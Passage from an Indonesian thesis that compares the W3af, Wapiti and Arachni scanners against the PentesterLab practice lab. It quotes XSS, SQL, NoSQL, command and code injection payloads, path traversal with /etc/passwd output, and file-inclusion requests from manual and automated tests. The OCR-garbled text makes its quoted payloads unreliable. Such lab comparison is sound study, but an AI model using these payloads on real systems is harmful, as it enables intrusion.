@ 192.168.1.23,

PentesterLab.com  Home

j*:JL h«Lid o 192.168.1.23 says.

1

oK

Gambar 5.1 Hasil Pengujian Manual XSS
Gambar 5.1 menunjukkan Serangan XSS pada aplikasi web
www.pentesterlab.com dilakukan dengan menginputkan kode-kode html pada
aplikasi dan hasilnya aplikasi merespon dengan menyetujui inputan pengguna
tersebut, namun saat dilakukan pengujian dengan menginputkan script pada
inputan aplikasi menolak request pengguna dengan menghapus perintah script.
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5.1.1.2 Pengujian Otomatis
A. W3af

Vuerability ~ tep/80 Cross Site Scripting was found at: "http://192.168.1.26/xss/exampled.php", using HTTP method GET. The sent data was: "name=
<SCHPT>alert("mVtV")</SCrIPT>", This vulnerability affects ALL browsers, This vulnerability was found in the request with id 931,

URL : http://192.168.1.26/xss/example.php
Severity : Medium
Gambar 5.2 Hasil Pengujian Otomatis XSS W3af
Gambar 5.2 menunjukkan pengujian tool W3af dalam identifikasi aplikasi web
menemukan kerentanan XSS yang telah ditemukan dengan HTTP Request
“name=<SCrIPT>alert<”mVtV”)</SCrIPT>".

B. Wapiti

Vulnerability found in /xss/examplel.php

Description HTTP Request cURL command line

GET /xss/examplel.php?name=%3Cscript¥%3Ealert%28%27wwn5uiquSh%27%29%3C%2Fscript%3E HTTP/1.1
Host: 192.168.1.35

Gambar 5.3 Hasil Pengujian Otomatis XSS Wapiti
Gambar 5.3 menunjukkan identifikasi dari tool Wapiti menemukan kerentanan
XSS yang telah di temukan pada HTTP Request GET
/xss/examplel.php?name=%3Ealert%28%27wwn5uiqu5h%27%29%3C%2Fscript
%3E.

C. Arachni

% Affected page: http://192.168.1.84/xss/examplel . php?name=hacker¥3Csome_dangerous_input 1214cebl7e88aceabafes22238fb12be/%3E

HTTP request HTTP response

nput_1214c6b17008ace3bSFes22238Fb12be />

Pantesterlab 2013¢/p>

Gambar 5.4 Hasil Pengujian Otomatis XSS Arachni
Gambar 5.4 Hasil identifikasi menunjukkan tool Arachni menemukan adanya
kerentanan XSS pada aplikasi web dengan HTTP  Request
hacker<some_dangerous_input_1214c6b17008ace9b9fe922238fb12bc/>.
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5.1.2 SQL Injection

5.1.2.1 Pengujian Manual

PentesterLab.com Home

Gambar 5.5 Hasil Pengujian Manual SQL Injection

Gambar 5.5 menunjukkan Pengujian terhadap SQL Injection pada challenge
web for pentester dengan menginputkan “ “ or ‘1="1 “ pada name di browser
tersebut untuk menguji kerentanan aplikasi. Hasil yang didapat diketahui bahwa
aplikasi web www.pentesterlab.com telah melakukan pencegahan dengan
menginputkn merubah tanda “ ‘ “ dengan “%27”, dan menghilangkan
spasi.Sehingga saat request dieksekusi input tersebut dapat terbaca sebagai
inputan biasa yang dikenali sebagai username.

5.1.2.2 Pengujian Otomatis
A. W3af

Vulnerabiity  tp/80 SQL injection in a MySQL database was found at: "http://192.168.1.25/sqlnjection/example2”, using HTTP method GET. The sent data
Was: "username=Johng2128 password=d’2'08submit=", The modified parameter was "password", This vulnerability was found in the
request with id 9049,

URL: http://192,168.1.25/sqnjection/example2
Severty : High
Gambar 5.6 Hasil Pengujian Otomatis SQL Injection W3af
Gambar 5.6 menunjukkan hasil pengujian dengan tool Wa3af.Adanya
kerentanan saL Injection dengan HTTP Request
“username=Johm8128password=d”z"0&submit=".

B. Wapiti
Vulnerability found in /sqli/examplel.php

Description HTTP Request cURL command line

GET /sqgli/examplel.php?name=%27%200r%20sleep¥287%29%231 HTTP/1.1
Host: 192.168.1.35

Gambar 5.7 Hasil Pengujian Otomatis SQL Injection Wapiti
Gambar 5.7 menunjukkan hasil identifikasi dengan menggunakan tool Wapiti.
Adanya kerentanan SQL Injection dengan HTTP  Request  GET
/sqli/examplel.php?name=%27%200r%20sleep%28%29%231 HTTP/1.1.
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C. Arachni

% Vector information

Tpe In Action Defauttinputs Updated inputs

HTTP request

Gambar 5.8 Hasil Pengujian Otomatis SQL Injection Arachni
Gambar 5.8 menunjukkan hasil pengujijan otomatis dengan tool Arachni
dengan menemukan kerentana pada SQL Injection dengan HTTP Request
?usename=Arachni_name&password=55431%25Arachni_secret%22"”%60--
&submit=1.

5.1.3 Directory Traversal

5.1.3.1 Pengujian Manual

€ 5 C | O 192168127 riray/exampie

an

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh syne:x:4:65534:sync:/bin:/bin/sync
games:x:5:60: games: /usr/games: bin/sh man:x:6:12:man:/var/cache/man: bin/sh Ip:x:7:7:Ip:/var/spool/Ipd: bin/sh mail:x-8:8:mail: var/mail:/bin/sh
news:x:9:9:news:/var/spool news:/bin/sh wucp:x:10:10:uucp:/var/spool uucp:/bin/sh proxy:x:13:13:proxy:/bm:/bin/sh www-data:x:33:33 :www-data: var/www:/bin/sh
backup:x:34:34:backup: var/backups: bin'sh list:x:38:38:Mailing List Manager:/var/list: /bin/sh ire:x:39:39:1red: /var mun/ired: /bin/sh gnats:x:41:41:Gnats Bug-Reporting
System (admun): var/lib/gnats: bin/sh nobody 34:65534:n0body:/nonexistent:/bm/sh Iibumid:x:100:101:: var/lib/libwd: /bin/sh mysql:x:101:103:MySQL
Server.,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd: /ust/sbm/nologin openldap:x:103:106:0penLDAP Server Account...:/var/lib/ldap:/bin/false
user:x:1000:1000:Debian Live user.../home/user:/bin/bash

Gambar 5.9 Hasil Pengujian Manual Directory Traversal

Gambar 5.9 menunjukkan pada pengujian manual Directory Traversal
penyerang dapat mengakses direktori di atas dengan menggunakan teknik
menguji sebuah kerentanan. Sebagai contoh jika cara yang digunakan dalam
parameter adalah gambar/photo.jpg dan dapat diakses melalui element pada
browser.Gambar tersebut mempunyai sebuah akses ke direktori untuk menembus
sebuah kerentanan dan jika di test dengan menambahkan string
Sk S S S S]] Sete/passwd dan mendapatkan passwd file,aplikasi web
tersebut adalah mempunyai kerentanan.Setelah direktori ini diakses, perintah
dapat dijalankan pada server Web dan data aman bisa disalin atau
diubah.Keamanan dari server Web terancam.Kerentanan Directory Traversal juga
dapat ditemukan dalam aplikasi Web yang dijalankan di server Web.
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5.1.3.2 Pengujian Otomatis
A. W3af

Vulnerabity :tcp/80 Lol Fle Incusion s fond "http://i92.168,1.26/dirtrav/examplei.php", Using HTTP method GET, The ent dta s
82 o] o] eSS, This vulnerabilty was found in the request with id 5267.

URL : http://192.168.1.26/dirtrav/examplet.php
Severty : Medium
Gahbar 5.10 Hasil Pengujian Otomatis Directory Traversal W3af
Gambar 5.10 menunjukkan hasil dari identifikasi tool W3af menemukan
adanya kerentanan pada directory traversal dengan HTTP Request

“file=../..[..0..0. 0.0 . . ..]..]..]..[etc/passwd”.
B. Wapiti

Vulnerability found in /dirtrav/examplel.php

Description HTTP Request  cURL command line

GET /dirtrav/examplel.php?file=..%2F..%2F. . %2F..%2F. .%2F..%2F. . %2F..%2F. .%2F. .%2Fetc%2Fpasswd HTTP/1.1
Host: 192.168.1.35

Gambar 5.11 Hasil Pengujian Otomatis Directory Traversal Wapiti
Gambar 5.11 menunjukkan hasil dari identifikasi dari tool Wapiti yang
menemukan kerentanan yang ditemukan pada directory traversal dengan HTTP
Request/dirtrav/example.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc
%2Fpasswd HTTP/1.1.

C. Arachni

% Affected page: http://192.168.1.84/dirtrav/examplel.php?file=/../. /. .//etc/passud

HTTP request HTTP response

fexamplel.php?file=%2F .. %2F. %2F . .X2F%2FetcX2Fpassud HTTP/1.1 HTTP/1.1 200 0K
.

41:18 GHT

mloxnl, application/xnl;q=0.9,/*;q-0.8

Gambar 5.12 Hasil Pengujian Otomatis Directory Traversal Arachni
Gambar 5.12 menunjukkan adanya kerentanan pada SQL Injection dengan
menggunakan tool Arachni. Adanya kerentanan dengan HTTP Request GET
/dirtrav/examplel.php?file=%2F.. %2F.. %2F.. %2Fect2%Fpasswd HTTP/1.1.
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5.1.4 Command Injection

5.1.4.1 Pengujian Manual

€ C | ©@ 192168.1.2

PentesterLab.com  Home

PING 127.6.8.1 (127.0.6.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=l ttl-64 time=e.e12 ms
64 bytes from 127.8.0.1: icmp_reg=2 ttl=64 time=0.846 ms

--- 127.0.8.1 ping statistics ---

2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = ©.812/8.829/0.046/8.817 ms
examplel. php

example2. php

example3.php

hacked!

index.html

© PentesterLab 2013

Gambar 5.13 Hasil Pengujian Manual Command Injection
Gambar 5.13 menunjukkan pengujian manual Command Injection ini
merupakan penyerangan melalui web browser dengan mengijeksikan pada sistem
operasi melalui aplikasi kerentanan. Serangan yang dilakukan disediakannya
dengan data yang tidak aman dari aplikasi web tersebut.

5.1.4.2 Pengujian Otomatis
A. W3af

Vulnerabillty  tep/80 05 Commanding was found at: "http://192.168.1.26/commandexec/exampled.php", using HTTP method GET. The sent data was:
"ip=Y07Cping+-c+9+localhost’”. This vulnerability was found in the request with id 2487

URL: hitp://192.168.1.26/commandexec/exampled.php
Severity : High

Gambar 5.14 Hasil Pengujian Otomatis Command Injection W3af
Gambar 5.14 menunjukkan pengujian otomatis dengan tool W3af menemukan
adanya kerentanan pada command injection dengan HTTP Request
“ip%7Cping+c+9+localhost”.

B. Wapiti
Vulnerability found in /commandexec/examplel.php

Description HTTP Request cURL command line

GET /commandexec/examplel.php?ip=%3Benv HTTP/1.1
Host: 192.168.1.35

Gambar 5.15 Hasil Pengujian Otomatis Command Injection Wapiti
Gambar 5.15 menunjukkan hasil identifikasi dari tool Wapiti. Adanya
kerentanan yang pada command injection dengan HTTP Request GET
/commandexec/examplel.php?ip=%3Benv HTTP/1.1.
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C. Arachni

% Affected page: http://192.168.1.84/comman

Gambar 5.16 Hasil Pengujian Otomatis Command Injection Arachni
Gambar 5.16 menunjukkan hasil dari identifikasi kerentanan command
injection dengan menggunakan tool Arachni dengan HTTP Request GET
/commandexec/example3.php?ip=%60%20sleep%2016%60 HTTP/1.1.

5.1.5 Code Injection

5.1.5.1 Pengujian Manual

PentesterLab.com  Home

Linux debian 2 6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux Hello hackerLinux debian 2 6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 GNU/Linux
© PentesterLab 2013

Gambar 5.17 Hasil Pengujian Manual Code Injection
Gambar 5.17 menunjukkan pengujian manual Code Injection ini bahwa untuk
melakukannya dengan payload umum, exploit yang digunakan untuk
mengeksekusi shellcode.Payload kemudan akan menjalankan shellcode yang
dipilih untuk mendapatkan target komputer dan mendapatkan akses.

5.1.5.2 Pengujian Otomatis

A. W3af

Information  tep/80 Cross Site Scripting was found at; "http://192.168.1.26/codeexec/exampled.php', using HTTP method GET, The sent data was: "name=
<SCRIPT>a=/J58T/%00Aalert{a.source) < /SCRIPT>", This vulnerabilty affects AL browsers, This vulnerability was found in the request
with id 980,

URL : http://192.168.1.26 codeexec/exampled.php
Gambar 5.18 Hasil Pengujian otomatis Code Injection W3af
Gambar 5.18 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool W3af. Adanya hasil identifikasi dari kerentanan code injection
dengan HTTP Request <ScRIPT>a=/JS8T/%0Aalert(a.source)</SCRiPT>.
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B. Wapiti

Vulnerability found in /codeexec/examplel.php

Description HTTP Request cURL command line
GET /codeexec/examplel.php?name=%22%3Bexit%28base64 decode¥28%27dzRwMXQxX2V2YWn%3D%27%29%29%3B%2F%2F HTTP/1.1

Host: 192.168.1.35

Gambar 5.19 Hasil Pengujian otomatis Code Injection Wapiti
Gambar 5.19 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Wapiti. Adanya hasil identifikasi dari kerentanan code
injection dengan HTTP Request GET
/codeexec/examplel.php?name=%22%3Bexit%28%base64 decode%28%27d
ZRWMXQxX2V2YWW%3D%27%29%29%%3B%2F%2F HTTP/1.1.

C. Arachni

% Affected page: http 168.1.84/ codeexec /examp hp?name=¥22; print%2028763*4196403; %23

Gambar 5.20 Hasil Pengujian otomatis Code Injection Arachni
Gambar 5.20 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Arachni. Adanya hasil identifikasi dari kerentanan code
injection dengan HTTP Request GET
/codeexec/examplel.php?name=%22%3Bprint%2028763%2A4q96403%3B%
23 HTTP/1.1.
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5.1.6 File Include
5.1.6.1 Pengujian Manual

\php

PHP 5.3.4 Release Announcement

The PHP development team is proud to announce the immediate release of PHP 5.3.4. This is a maintenance release in the 5.3 series, which includes a large number of bug fixes

Security Enhancements and Fixes in PHP 5.3.4:

nment. (CVE-2010-3709),

the targetis a DFS share
in filter_var with FILTER_VALIDATE_EMAIL with large amount of data) (CVE-2010-3710

Gambar 5.21 Hasil Pengujian Manual File Include
Gambar 5.21 menunjukkan kerentanan pada File Include yang datang dari
kurangnya dari penyaringan ketika dikendalikan oleh user dari aplikasi web
dengan parameter yang di gunakan sebagai bagian dari sebuah nama file dalam
memanggil sebuah fungsi untuk melakukan panggilan kesalah satu metodi ini
memiliki kerentanan,dan bahwa penyerang dapat melakukan memanipulasi
fungsi untuk mengisi kode tersebut. Dapat di coba dengan remote File Include.

5.1.6.2 Pengujian Otomatis
A. W3af

Vulnerability — tep/80 Local File Inclusion was found at: "http://192.168.1.26/fileincl/exampled.php", using HTTP method GET. The sent data was:
"008 o]l sl sl ol ] e pSSWA", This vulnerability was found in the request with id 4956

URL : http://192.168.1.26/fleincl/examplet.php
Severity : Medium

Gambar 5.22 Hasil Pengujian Otomatis File Include W3af

Gambar 5.22 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool W3af. Adanya hasil identifikasi dari kerentanan File Include
dengan HTTPRequest “page=../../..[..[..[..[..[..[..]..]..]../]etc/passwd”.
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B. Wapiti
Vulnerability found in /fileincl/examplel.php

Description HTTP Request =~ cURL command line

GET /fileincl/examplel.php?page=%3Cscript¥%3Ealert%28%27wtjlkkqfh2%27%29%3C%2Fscript%3E HTTP/1.1
Host: 192.168.1.35

Gambar 5.23 Hasil Pengujian Otomatis File Include Wapiti
Gambar 5.23 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Wapiti. Adanya hasil identifikasi dari kerentanan File Include
dengan HTTP Request GET
/fileinlc/examplel.php?page=%3Cscript%3Ealert%28%27wtjkkqfh2%27%29%3C
%2Fscripts%3E HTTP/1.1.

C. Arachni

% Affected page: htt 92.168.1.84/Fileinc]/example2. php?page.

HTTP request

Gambar 5.24 Hasil Pengujian Otomatis File Include Arachni

Gambar 5.24 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Arachni. Adanya hasil identifikasi dari kerentanan File Include
dengan HTTP Request GET
/fileincl/example2.php?page=http%3A%2F%2Ftest.Arachni.scanner.com%2Frfi.m
d5.txt HTTP/1.1.
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5.1.7 Authentication

5.1.7.1 Pengujian Manual

PentesterLab.com Home

Success!!!

© PentesterLab 2013

Gambar 5.25 Hasil Pengujian Manual Authentication

Gambar 5.25 menunjukkan pengujian manual Authentication ini dengan cara
memasukkan username dan password secara umum pada challenge
Authentication tersebut agar pada proses authentification yang berhasil biasanya
ditandai dengan username dan password yang tepat yang dimasukkan oleh
pemakai aplikasi. Setiap pemakai aplikasi diberi username dan password yang
berbeda-beda dan hanya diketahui oleh user yang bersangkutan. Jika suatu login
berhasil, maka dipastikan bahwa yang login adalah user yang bersangkutan karena
hanya dialah yang tahu username dan passwordnya

5.1.7.2 Pengujian Otomatis
A. W3af

Vulnerability  tcp/80 An unidentified web application error (HTTP response code 500) was found at: "http://192.168.1.25/authentication/example6/submit".
Enable all plugins and try again, if the vulnerability still is not identified, please verify mannually and report it to the w3af developers. This
vulnerability was found in the request with id 1153,

URL : http://192.168.1.25/authentication/example6/submit
Severity : Medium

Gambar 5.26 Hasil Pengujian Otomatis Authentication W3af

Gambar 5.26 menunjukkan adanya error pada kerentanan authentication
pada W3af dikarenakan HTTPrespon code 500 yang menyatakan untuk memberi
akses ijin semua plugin dan mencoba kembali, apabila kerentanan tidak dapat
teridentifikasi, dapat melaporkan kembali secara manual pada develpoer W3df.
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B. Wapiti
Anomaly found in /authentication/example5/submit

Description HTTP Request cURL command line
The server responded with a 588 HTTP error code while attempting to inject a payload in the query string

GET /authentication/example5/submit?%BF%27%22%28 HTTP/1.1
Host: 192.168.1.34

curl "http://192.168.1.34/authentication/example5/submit?%BF%27%22%28"

Gambar 5.27 Hasil Pengujian Otomatis Authentication Wapiti
Gambar 5.27 menunjukkan adanya error pada kerentanan authentication
pada Wapiti dikarenakan HTTP respon code 500 ketika mencoba menginjeksi
sebuah payload kedalam query string.

C. Arachni

% Affected page p://192.168.1.85/authenticat

Gambar 5.28 Hasil Pengujian Authentication Arachni

Gambar 5.28 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Arachni. Adanya hasil identifikasi dari kerentanan
authentication tersebut tool Arachni menemukan bahwa halaman vyang
terpengaruh berisi masukan password,namun hasil tersebut tidak dikirim server
menggunakan HTTPS.

5.1.8 Authorization

5.1.8.1 Pengujian Manual

PentesterLab.com Home

Confidential

Do not share

Gambar 5.29 Hasil Pengujian Manual Authorization

Gambar 5.29 menunjukkan hasil pengujian manual Authorization ini adalah
permasalahan yang pada umumnya dengan aplikasi web yang dirancang dengan
tidak baik, bahkan jika tidak dapat mengakses halaman posting-autentikasi
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penguji masih dapat mengakses halaman lain jika sudah tahu URL tersebut.
pengujian manual ini dengan menginputkan /infos/1, /infos/2 tanpa
menggunakan login lagi dan halaman tersebut dapat memasukin akses yang
dituju.

5.1.8.2 Pengujian Otomatis
A. W3af

Startng "ertor300" grep workerforresponse: < hitpResponse | 200 | hitpy[192.168.5.25/authorization e ampled/

Gambar 5.30 Hasil Pengujian Otomatis Authorization W3af

252>

Gambar 5.30 menunjukkan adanya error pada kerentanan authentication
pada W3af dikarenakan HTTPrespon code 500 yang menyatakan untuk memberi
akses ijin semua plugin.

B. Wapiti
Anomaly found in /authorization/examplel/

Description HTTP Request cURL command line
The server responded with a 500 HTTP error code while attempting to inject a payload in the query string

GET /authorization/examplel/?%BF%27%22%28 HTTP/1.1
Host: 192.168.1.34

curl "http://192.168.1.34/authorization/examplel/?%BF%27%22%28"

Gambar 5.31 Hasil Pengujian Otomatis Authorization Wapiti
Gambar 5.31 menunjukkan adanya error pada kerentanan authentication
pada Wapiti dikarenakan HTTP respon code 500 ketika mencoba menginjeksi
sebuah payload kedalam query string.
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C. Arachni

% Affected page: htt,

Gambar 5.32 Hasil Pengujian Otomatis Authorization Arachni

Gambar 5.32 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Arachni. Adanya hasil identifikasi dari kerentanan authorization
tersebut tool Arachni menemukan bahwa halaman yang terpengaruh berisi
masukan password,tetapi hasil tersebut tidak dikirim server menggunakan HTTPS.

5.1.9 Captcha

5.1.9.1 Pengujian Manual

€ o C|0msz

PentesterLab.com = -s

I”VJ'IA‘&‘Q T R Submi

(© PentesterLab 2013
Gambar 5.33 Hasil Pengujian Manual Captcha

Gambar 5.33 menunjukkan pengujian ini dibocorkan oleh aplikasi , dengan
memeriksa respon dikirim kembali oleh server, penguji dapat mengambil Captcha
dari cookie menggunakan konsol JavaScript dan panggilan
document.cookie.Pengujian Captcha ini menggunakan javascript untuk
mengetahui langsung apa yang ditampilkan gambar pada Captcha dan
menggunakan javascript agar dapat mudah mengetahui dari arti gambar Captcha
tersebut.
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5.1.9.2 Pengujian Otomatis
A. W3af

Starting "error500" grep_worker for response: < httpResponse | 200 | http://192.168.1.25/captcha/example6/ | id:30 >

Gambar 5.34 Hasil Pengujian Otomatis Captcha W3af

Gambar 5.34 menunjukkan adanya error pada kerentanan captcha pada W3af
dikarenakan HTTPrespon code 500 yang menyatakan untuk memberi akses ijin
semua plugin.

B. Wapiti

Anomaly found in /captcha/examplel/submit

Description HTTP Request cURL command line
The server responded with a 500 HTTP error code while attempting to inject a payload in the query string

GET /captcha/examplel/submit?%BF%27%22%28 HTTP/1.1
Host: 192.168.1.34

curl "http://192.168.1.34/captcha/examplel/submit?%BF%27%22%28"

Gambar 5.35 Hasil Pengujian Otomatis Captcha Wapiti

Gambar 5.35 menunjukkan adanya error pada kerentanan captcha pada
Wapiti dikarenakan HTTPrespon code 500 ketika mencoba menginjeksi sebuah
payload kedalam query string.

C. Arachni

% Affected page: htt

936831b19298641

Gambar 5.36 Hasil Pengujian Otomatis Captcha Arachni

Gambar 5.36 menunjukkan dari identifikasi dengan tool Arachni tidak
menemukan sebagai kerentanan, tetapi sebagai prompt untuk uji penetrasi secara
manual.
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5.1.10 Mongo DB Injection

5.1.10.1 Pengujian Manual

/ [PentesterlLab] x V [PentesterLab] X V PentesterLab » Web for [ x V PentesterLab » Web for I x V PentesterLab » Web for - x \;\X

& C 0 | © 192.168.1.31/mongodb/example/?username=%27%3Breturn%20true%3Bvar¥%20foo%3D%27&password =hacke
i3 Apps Y Bookmarks Bookmarks

PentesterLab.com Home

Success!!!

© PentesterLab 2013

Gambar 5.37 Hasil Pengujian Manual Mongo DB Injection

Gambar 5.37 menunjukkan Mongo DB merupakan salah satu produk database
noSQL yang menggunkan struktur data JSON untuk menyimpan data tersebut. Dari
hasil pengujian manual tersebut dapat dilihat dari kolom browser adalah berupa
perintah database yang tidak menggunakan relasi antar tabel dan tidak
menyimpan data dalam format tabel kaku seperti layaknya relasional database.

5.1.10.2 Pengujian Otomatis
A. W3af

Stating "errorS00" gep. worker for respanse: < hpResponse | 200 | htpy /182.168.5.25 mongoch exampled)

Gambar 5.38 Hasil Pengujian Otomatis Mongo DB Injection W3af

0:448 >

Gambar 5.38 menunjukkan adanya error pada kerentanan captcha pada W3af
dikarenakan HTTPrespon code 500 yang menyatakan untuk memberi akses ijin
semua plugin.

B. Wapiti

Vulnerability found in /mongodb/examplel/

Description HTTP Request cURL command line

GET /mongodb/examplel/?password=1letmeindsubmit=submit&username=sleep®287%29%231 HTTP/1.1
Host: 192.168.1.34

Gambar 5.39 Hasil Pengujian Otomatis Mongo DB Injection W3af

Gambar 5.39 menunjukkan hasil dari pengujian otomatis dengan
menggukanan tool Wapiti. Adanya hasil identifikasi dari kerentanan Mongo DB
Injection dengan HTTPRequest GET
/mongodb/examplel/?password=letmein&submit=submit&username=sleep%28
7%29%231 HTTP/1.1
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C. Arachni

% Affected page: http://15. mongodb /exanple me=hacker_arachni_tra

Gambar 5.40 Hasil Pengujian Otomatis Mongo DB Injection Arachni

Gambar 5.39 menunjukkan dari pengujian otomatis dengan menggukanan tool
Arachni. Adanya hasil identifikasi dari kerentanan Mongo DB Injecrion tersebut
tool Arachni menemukan bahwa halaman yang terpengaruh berisi masukan
password,tetapi hasil tersebut tidak dikirim server menggunakan HTTPS.
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BAB 6
PENUTUP

6.1 Kesimpulan

Berdasarkan analisa dari hasil pengujian penetrasi pada challenge aplikasi web
www.pentesterlab.com yang telah dilakukan, dapat disimpulkan bahwa :

1. Identifikasi yang dilakukan dengan menggunakan tools w3af ,wapiti, dan
arachni dapat dibandingkan dengan menggunakan 5 kali percobaan agar
setiap aplikasi web yang di identifikasi dapat hasil yang berbeda.

2. Hasil analisis yang didapat dengan menggunakan tool w3af, wapiti, dan
arachni setelah melakukan 5 kali percobaan memberikan hasil tool arachni
yang mendapatkan kerentanan pada identifikasi tersebut lebih banyak dari
tool w3af dan wapiti.

6.2 Saran

Dalam analisa perbandingan penetration testing tool untuk aplikasi web masih
terdapat banyak tambahan-tambahan yang dapat digunakan untuk melakukan
penelitian selanjutnya adalah sebagai berikut :

1. Penetration testing tool dapat di tambahkan agar pada proses analisis
dapat memberikan hasil yang lebih baik lagi

2. Dapat mengetahui lagi eror-eror dari setiap tool penterasi yang di dapat
dari hasil scanning pada aplikasi web www.pentesterlab.com
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